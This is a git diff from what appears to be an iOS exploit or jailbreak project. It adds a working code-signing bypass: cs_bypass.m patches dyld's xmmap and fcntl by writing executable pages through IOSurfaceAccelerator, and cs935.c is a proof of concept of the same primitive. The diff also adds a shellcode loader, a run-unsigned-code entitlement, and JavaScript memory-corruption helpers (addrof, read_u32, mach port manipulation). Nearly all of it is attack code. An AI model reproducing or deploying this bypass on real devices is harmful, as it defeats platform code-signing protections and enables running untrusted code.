+ +function leak_vec(arr) { + var addy = addrof(arr); + printf("%x\n", addy); + return read_u32(addy + VECTOR_OFFSET); }
\ No newline at end of file diff --git a/tools/-h b/tools/-h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/tools/-h diff --git a/tools/935csbypass.c b/tools/935csbypass.c new file mode 100644 index 0000000..c2685f5 --- /dev/null +++ b/tools/935csbypass.c @@ -0,0 +1,14 @@ +#include <stdint.h> +#include <stdio.h> + +uint8_t payload[] = { + 0x42, 0x01, 0x04, 0xE3, + 0x44, 0x03, 0x44, 0xE3, + 0x1E, 0xFF, 0x2F, 0xE1, +}; + +int main(int argc, char* argv[]) { + uint32_t (*lol)() = (uint32_t (*)())&payload; + printf("Hello, world! %x\n", lol()); + return 0; +}
\ No newline at end of file diff --git a/tools/build_native.sh b/tools/build_native.sh index 90ecb60..6dce749 100755 --- a/tools/build_native.sh +++ b/tools/build_native.sh @@ -11,8 +11,16 @@ rm bin/935csbypass gcc 935csbypass.c -o bin/935csbypass --std=c99 -marm ldid -S bin/935csbypass +rm bin/defines +gcc defines.c -o bin/defines --std=c99 -marm +ldid -S bin/defines + rm shc/bin/shellcode gcc shc/shellcode.c -o shc/bin/shellcode --std=c99 -marm -ffreestanding -c -fPIC #ldid -S shc/bin/shellcode -otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin
\ No newline at end of file +otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin + +rm bin/jit_all_the_things +gcc jit_all_the_things.c -o bin/jit_all_the_things --std=c99 -marm -fPIC +ldid -Sent.xml bin/jit_all_the_things
\ No newline at end of file diff --git a/tools/defines b/tools/defines Binary files differnew file mode 100755 index 0000000..d96c3cd --- /dev/null +++ b/tools/defines diff --git a/tools/defines.c b/tools/defines.c new file mode 100644 index 0000000..4c499b3 --- /dev/null +++ b/tools/defines.c @@ -0,0 +1,28 @@ +#include <stdint.h> +#include <stdio.h> +#include <dlfcn.h> +//#include <CoreFoundation/CoreFoundation.h> + +uintptr_t get_dyld_shc_slide(void) { + return _dyld_get_image_vmaddr_slide(1); +} + +uint32_t dlsym_cf(char* s) { + return dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), s) - get_dyld_shc_slide(); +} + +void fuck(char* s) { + printf("var %s_addr = 0x%08x;\n", s, dlsym_cf(s)); +} + +int main(int argc, char* argv[]) { + printf("#define PRINTF_ADDR 0x%x\n", dlsym(RTLD_DEFAULT, "printf")); +// printf("%x %x %x %x %x %x %x %x\n", RTLD_NOW, dlsym_cf("kCFTypeDictionaryKeyCallBacks"), 0x41414141);//, &kCFTypeDictionaryValueCallBacks, kCFNumberSInt32Type); + fuck("CFDictionaryCreateMutable"); + fuck("kCFTypeDictionaryKeyCallBacks"); + fuck("kCFTypeDictionaryValueCallBacks"); +// fuck("kCFNumberSInt32Type"); + fuck("CFDictionarySetValue"); + fuck("CFNumberCreate"); + return 0; +} diff --git a/tools/ent.xml b/tools/ent.xml index 2973d1d..6de10e3 100755 --- a/tools/ent.xml +++ b/tools/ent.xml @@ -11,5 +11,7 @@ <true/> <key>get-task-allow</key> <true/> + <key>run-unsigned-code</key> + <true/> </dict> </plist>
\ No newline at end of file diff --git a/tools/jit_all_the_things.c b/tools/jit_all_the_things.c index d955ea1..15344e9 100755 --- a/tools/jit_all_the_things.c +++ b/tools/jit_all_the_things.c @@ -1,10 +1,40 @@ #include <sys/types.h>
+#include <sys/mman.h>
#include <stdio.h>
+#include <dlfcn.h>
+
+//uint8_t whatever[] = {0xe9, 0x2d, 0x40, 0x80, 0xe2, 0x8d, 0x70, 0x00, 0xeb, 0x00, 0x00, 0x08, 0xe8, 0xbd, 0x80, 0x80, 0xe9, 0x2d, 0x40, 0x80, 0xe2, 0x8d, 0x70, 0x00, 0xe5, 0x9f, 0x20, 0x08, 0xe5, 0x9f, 0x30, 0x08, 0xe5, 0x82, 0x30, 0x00, 0xe8, 0xbd, 0x80, 0x80, 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42};
#define PT_TRACE_ME 0
int ptrace(int, pid_t, caddr_t, int);
int main(int argc, char* argv[]) {
- ptrace(PT_TRACE_ME, 0, NULL, 0);
+// ptrace(PT_TRACE_ME, 0, NULL, 0);
+
+ uint8_t* whatever = NULL;
+ FILE* fp = fopen("shc/bin/shellcode.bin", "r");
+ fseek(fp, 0L, SEEK_END);
+ size_t sz = ftell(fp);
+ rewind(fp);
+
+ whatever = (uint8_t*)malloc(sz);
+ fread(whatever, 1, sz, fp);
+ fclose(fp);
+
+ void* exec = mmap(0x42000000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, 0, 0);
+
+ mprotect(exec, 0x1000, PROT_READ | PROT_WRITE);
+
+ memcpy(exec + 4, whatever, sz);
+ *(uint32_t*)exec = dlsym(RTLD_DEFAULT, "dlsym");
+
+ printf("%x\n", *(uint32_t*)exec);
+
+ mprotect(exec, 0x1000, PROT_READ | PROT_EXEC);
+
+ void (*lol)() = (void (*)())(exec + 4);
+
+ lol();
+
exit(0);
return 0;
diff --git a/tools/payload.s b/tools/payload.s new file mode 100644 index 0000000..e8b5add --- /dev/null +++ b/tools/payload.s @@ -0,0 +1,3 @@ +movw r0, #0x4142 +movt r0, #0x4344 +bx lr
\ No newline at end of file diff --git a/tools/shc/shellcode.c b/tools/shc/shellcode.c index e48b51d..011b5cc 100644 --- a/tools/shc/shellcode.c +++ b/tools/shc/shellcode.c @@ -4,7 +4,21 @@ typedef unsigned int uint32_t; -void shellcode(void) { - *(uint32_t*)0x41414141 = 0x42424242; -// __builtin_unreachable(); -}
\ No newline at end of file +//#define PRINTF_ADDR 0x2054a3b9 +//#define BASE_ADDR 0x42000000 + +void entry(void) { + *(uint32_t*)0x69696969 = (uint32_t)0x1; + /* + uint32_t dlsym_addr = *(uint32_t*)BASE_ADDR; + void* (*dlsym)(void* handle, char* s) = (void* (*)(void*, char*))dlsym_addr; + void (*abort)(void) = dlsym(0xfffffffe, "abort"); + abort();*/ +} + +/* +void shellcode_main(void) { + uint32_t puts_addr = *(uint32_t*)BASE_ADDR; + int (*puts)(char* s) = (int (*)(char* s))puts_addr; + puts("Hello from shellcode!\n"); +}*/
\ No newline at end of file diff --git a/work/cs935.c b/work/cs935.c new file mode 100644 index 0000000..446d16d --- /dev/null +++ b/work/cs935.c @@ -0,0 +1,133 @@ +// +// cs935.c +// cs935 +// +// Created by tihmstar on 12.05.22. +// + +#include "cs935.h" +#include <fcntl.h> +#import <sys/syscall.h> +#import <dlfcn.h> +#include <mach-o/nlist.h> +#include <mach-o/dyld.h> +#include <mach-o/fat.h> +#include <sys/mman.h> +#include <mach/mach.h> +#include <CoreFoundation/CoreFoundation.h> + +kern_return_t mach_vm_remap(vm_map_t target_task, mach_vm_address_t *target_address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src_task, mach_vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); +static CFStringRef *my_kIOSurfaceBytesPerRow; +static CFStringRef *my_kIOSurfaceWidth; +static CFStringRef *my_kIOSurfaceHeight; +static CFStringRef *my_kIOSurfacePixelFormat; +static uint32_t (*my_IOSurfaceAcceleratorCreate)(CFAllocatorRef allocator, int type, void *outAccelerator); +static void *(*my_IOSurfaceCreate)(CFDictionaryRef properties); +static uint32_t (*my_IOSurfaceAcceleratorTransferSurface)(void *accelerator, void *source, void *dest, CFDictionaryRef, void *); + + +uint32_t data[0x100] = { + 0x1000//size of executable code mapped R-X, everything after is RW- +}; + +int testcode(int a, int b); + + +asm(".align 4"); +int doAdd(int a, int b){ + return a+b; +} +int end_doAdd(){ + return 0; +} + + +void *getData(){ + //first prepare data + uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); + uint8_t *end = (uint8_t*)end_doAdd; + memcpy(&data[1], start, end-start); + + return data; +} + +void *memcpy_exec(void *dst, void*src, size_t size){ + //setup + CFMutableDictionaryRef dict = NULL; + void* accel = 0; + { + int width = PAGE_SIZE / (16*4); + int height = 16; + int pitch = width*4; + char pixelFormat[4] = {'A','R','G','B'}; + dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, *my_kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch)); + CFDictionarySetValue(dict, *my_kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width)); + CFDictionarySetValue(dict, *my_kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height)); + CFDictionarySetValue(dict, *my_kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat)); + assert(my_IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS); + } + + //transfer pages + for (uint32_t i=0; i<size; i+= PAGE_SIZE) { + kern_return_t kr = 0; + mach_vm_address_t target = ((uint64_t)dst)+i; + mach_vm_address_t srcaddr = src; + + CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &srcaddr)); + void *srcSurf = my_IOSurfaceCreate(dict); + + mprotect(target, PAGE_SIZE, PROT_READ|PROT_WRITE); + CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &target)); + void *destSurf = my_IOSurfaceCreate(dict); + mprotect(target, PAGE_SIZE, PROT_READ|PROT_EXEC); + mlock(target, PAGE_SIZE); + + kr = my_IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0); + printf("kr2=0x%08x\n",kr); + assert(kr == 0); + + CFRelease(destSurf); + CFRelease(srcSurf); + } + return dst; +} + +void linkIOSurface(){ + void *h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); + + my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); + my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); + my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); + my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); + + my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); + my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); + my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); +} + +int main(int,char**); + +void poc(void){ + + linkIOSurface(); + + uint8_t *tmp = malloc(0x4000); + uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); + memcpy(tmp, start, 0x1000); + + uint8_t *finish = (uint8_t*)(((uint64_t)testcode) & ~0xfff); + + memcpy_exec(finish, tmp, 0x1000); + + int (*kkk)(int,int) = (finish+1); + + int res = kkk(7,10); + printf("res = %d\n",res); + + printf(""); +}; + +int testcode(int a, int b){ + return 4; +} diff --git a/work/cs_bypass.m b/work/cs_bypass.m new file mode 100755 index 0000000..f447b14 --- /dev/null +++ b/work/cs_bypass.m @@ -0,0 +1,302 @@ +
+#import <Foundation/Foundation.h>
+#import <sys/syscall.h>
+#import <dlfcn.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/fat.h>
+#include <sys/mman.h>
+#include <mach/mach.h>
+#import <IOSurface/IOSurface.h>
+
+kern_return_t IOSurfaceAcceleratorCreate(CFAllocatorRef allocator, int type, void **outAccelerator);
+kern_return_t IOSurfaceAcceleratorTransferSurface(void* accelerator, IOSurfaceRef source, IOSurfaceRef dest, CFDictionaryRef, void *);
+
+#ifdef __LP64__
+#define mach_hdr struct mach_header_64
+#define sgmt_cmd struct segment_command_64
+#define sect_cmd struct section_64
+#define nlist_ struct nlist_64
+#define LC_SGMT LC_SEGMENT_64
+#define MH_MAGIC_ MH_MAGIC_64
+#else
+#define mach_hdr struct mach_header
+#define sgmt_cmd struct segment_command
+#define sect_cmd struct section
+#define nlist_ struct nlist
+#define LC_SGMT LC_SEGMENT
+#define MH_MAGIC_ MH_MAGIC
+#endif
+#define load_cmd struct load_command
+
+
+sect_cmd *find_section(sgmt_cmd *seg, const char *name)
+{
+ sect_cmd *sect, *fs = NULL;
+ uint32_t i = 0;
+ for (i = 0, sect = (sect_cmd *)((uint64_t)seg + (uint64_t)sizeof(sgmt_cmd));
+ i < seg->nsects;
+ i++, sect = (sect_cmd*)((uint64_t)sect + sizeof(sect_cmd)))
+ {
+ if (!strcmp(sect->sectname, name)) {
+ fs = sect;
+ break;
+ }
+ }
+ return fs;
+}
+
+struct load_command *find_load_command(mach_hdr *mh, uint32_t cmd)
+{
+ load_cmd *lc, *flc;
+ lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
+ while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
+ if (lc->cmd == cmd) {
+ flc = (load_cmd *)lc;
+ break;
+ }
+ lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
+ }
+ return flc;
+}
+
+sgmt_cmd *find_segment(mach_hdr *mh, const char *segname)
+{
+ load_cmd *lc;
+ sgmt_cmd *s, *fs = NULL;
+ lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
+ while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
+ if (lc->cmd == LC_SGMT) {
+ s = (sgmt_cmd *)lc;
+ if (!strcmp(s->segname, segname)) {
+ fs = s;
+ break;
+ }
+ }
+ lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
+ }
+ return fs;
+}
+
+void* find_sym(mach_hdr *mh, const char *name) {
+ sgmt_cmd* first = (sgmt_cmd*) find_load_command(mh, LC_SGMT);
+ sgmt_cmd* linkedit = find_segment(mh, SEG_LINKEDIT);
+ struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB);
+ vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr;
+
+ char* sym_str_table = (char*) linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->stroff;
+ nlist_* sym_table = (nlist_*)(linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->symoff);
+
+ for (int i = 0; i < symtab->nsyms; i++) {
+ if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) {
+ return (void*) (uint64_t) (sym_table[i].n_value + vmaddr_slide);
+ }
+ }
+ return 0;
+}
+
+vm_address_t find_dyld() {
+ kern_return_t kr = KERN_SUCCESS;
+ vm_address_t address = 0;
+ vm_size_t size = 0;
+
+ while (1) {
+ mach_msg_type_number_t count;
+ struct vm_region_submap_info_64 info;
+ uint32_t nesting_depth;
+
+ count = VM_REGION_SUBMAP_INFO_COUNT_64;
+ kr = vm_region_recurse_64(mach_task_self(), &address, &size, &nesting_depth,
+ (vm_region_info_64_t)&info, &count);
+ if (kr == KERN_INVALID_ADDRESS) {
+ break;
+ } else if (kr) {
+ mach_error("vm_region:", kr);
+ break; /* last region done */
+ }
+
+ if (info.is_submap) {
+ nesting_depth++;
+ } else {
+ if (info.protection & PROT_EXEC && info.protection & PROT_READ) {
+ if (*(uint32_t*) (address) == MH_MAGIC_ ) {
+ mach_hdr* hd = (mach_hdr*) address;
+ if (hd->filetype == MH_DYLINKER) {
+ return address;
+ }
+ }
+ }
+ address += size;
+ }
+ }
+ return 0;
+}
+
+static int fcntlhook(int a, int b) {
+ return -1;
+}
+
+
+void memcpy_bypassprot_page(void* addr, void* src) {
+ static int fd = 0;
+ static vm_offset_t protmap = 0;
+ static CFMutableDictionaryRef dict;
+ static void* accel = 0;
+
+ if (!fd) {
+ fd = open("/usr/lib/dyld", O_RDONLY);
+
+
+ assert(fd!=-1);
+
+ char dyld_header[0x4000];
+
+ vm_offset_t off = 0;
+ while (1) {
+ pread(fd, dyld_header, 0x4000, off);
+
+ if (*(uint32_t*)(dyld_header) == MH_MAGIC) {
+ break;
+ }
+
+ off += 0x1000;
+ }
+
+
+ struct mach_header* hdr = dyld_header;
+ struct load_command* lc = hdr + 1;
+ for (int i = 0; i < hdr->ncmds; i++) {
+ if (lc->cmd == LC_CODE_SIGNATURE) {
+ struct linkedit_data_command* codeSigCmd = lc;
+ fsignatures_t siginfo;
+ siginfo.fs_file_start=off; // start of mach-o slice in fat file
+ siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of CD in mach-o file
+ siginfo.fs_blob_size=codeSigCmd->datasize; // size of CD
+ int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo);
+ NSLog(@"Sigload %x", result);
+ protmap = off;
+ break;
+ }
+ lc = ((char*)lc) + lc->cmdsize;
+ }
+
+ assert(protmap);
+
+ int width = PAGE_SIZE / (8*4);
+ int height = 8;
+
+ int pitch = width*4, size = width*height*4;
+ int bPE=4;
+ char pixelFormat[4] = {'A','R','G','B'};
+ dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
+ CFDictionarySetValue(dict, kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch));
+ CFDictionarySetValue(dict, kIOSurfaceBytesPerElement, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &bPE));
+ CFDictionarySetValue(dict, kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width));
+ CFDictionarySetValue(dict, kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height));
+ CFDictionarySetValue(dict, kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat));
+ CFDictionarySetValue(dict, kIOSurfaceAllocSize, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &size));
+ assert(IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS);
+ IOSurfaceAcceleratorTransferSurface(0,0,0,0,0);
+ mprotect(0,0,0);
+ mlock(0,0);
+ mmap(0,0,0,0,0,0);
+ IOSurfaceCreate(0);
+ memcmp(0,0,0);
+
+ }
+
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &src));
+ IOSurfaceRef srcSurf = IOSurfaceCreate(dict);
+
+ munmap(addr,PAGE_SIZE);
+ mmap(addr, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_FIXED|MAP_FILE|MAP_PRIVATE, fd, protmap);
+ mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE);
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &addr));
+ IOSurfaceRef destSurf = IOSurfaceCreate(dict);
+ mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
+ mlock(addr, PAGE_SIZE);
+
+ assert(destSurf && srcSurf);
+ assert(IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0) == 0);
+
+ CFRelease(destSurf);
+ CFRelease(srcSurf);
+}
+
+
+
+static void *
+mmaphook(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
+{
+ if (!(prot & PROT_EXEC)) {
+ return mmap(addr,len,prot,flags,fd,offset);
+ }
+ static char* buf = 0;
+ if (!buf) {
+ buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
+ }
+ off_t actoff = 0;
+
+ while (actoff < len) {
+ pread(fd, buf, PAGE_SIZE, offset+actoff);
+ memcpy_bypassprot_page(addr + actoff, buf);
+ actoff += PAGE_SIZE;
+ }
+ return addr;
+}
+
+__attribute__((constructor))
+void ayy_lmao() {
+ // Load PLT entries (munmap breaks dyld..)
+
+ mmap(0, 0, 0, 0, 0, 0);
+ mlock(0, 0);
+ mprotect(0, 0, 0);
+
+ char *buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
+
+
+ mach_hdr* dyld_hdr = (mach_hdr*) find_dyld();
+ assert(dyld_hdr);
+ assert(dyld_hdr->filetype == MH_DYLINKER);
+ // Copy original code
+
+ vm_address_t fcntl = (vm_address_t) find_sym(dyld_hdr, "_fcntl");
+ assert(fcntl);
+ vm_address_t xmmap = (vm_address_t) find_sym(dyld_hdr, "_xmmap");
+ assert(xmmap);
+
+ memcpy(buf, (void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE);
+
+ // Patch.
+
+ extern void _tramp_begin();
+ extern void _tramp_end();
+ char* xmb = &buf[xmmap & PAGE_MASK];
+ memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
+
+ vm_address_t* tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
+ tramp_target --;
+ *tramp_target = (vm_address_t) mmaphook;
+
+ // Replace code
+
+ memcpy_bypassprot_page((void*)(xmmap & (~PAGE_MASK)), buf);
+
+ // Copy original code
+
+ memcpy(buf, (void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE);
+
+ // Patch.
+
+ xmb = &buf[fcntl & PAGE_MASK];
+ memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
+
+ tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
+ tramp_target --;
+ *tramp_target = (vm_address_t) fcntlhook;
+
+ // Replace code
+
+ memcpy_bypassprot_page((void*)(fcntl & (~PAGE_MASK)), buf);
+}
\ No newline at end of file diff --git a/work/shit.js b/work/shit.js new file mode 100644 index 0000000..4a84da9 --- /dev/null +++ b/work/shit.js @@ -0,0 +1,41 @@ + + +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// tmp = u32_to_u8x4(num); +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// new_buf_.push(0); +// new_buf_.push(0); +// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); +// new_buf_.push(19); + +// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); + +// var new_buf = fast_array_mul(new_buf_, number_port_descs); + + /* + for (var i = 0; i < number_port_descs; i++) { + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); + write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); + }*/ + +// var tmp = u32_to_u8x4(init_port_set); +printf("still alive? %x\n", 420); +printf("still still alive?\n"); +printf("yolo\n"); +printf("%x\n", o); + +mach_port_deallocate(self, read_u32(data)); +write_u32(data, MACH_PORT_NULL); +printf("%x %x\n", master, read_u32(master)); +printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); +printf("still alive? %x %x\n", err, read_u32(err)); +printf("still alive? %x %x\n", err, read_u32(err)); |
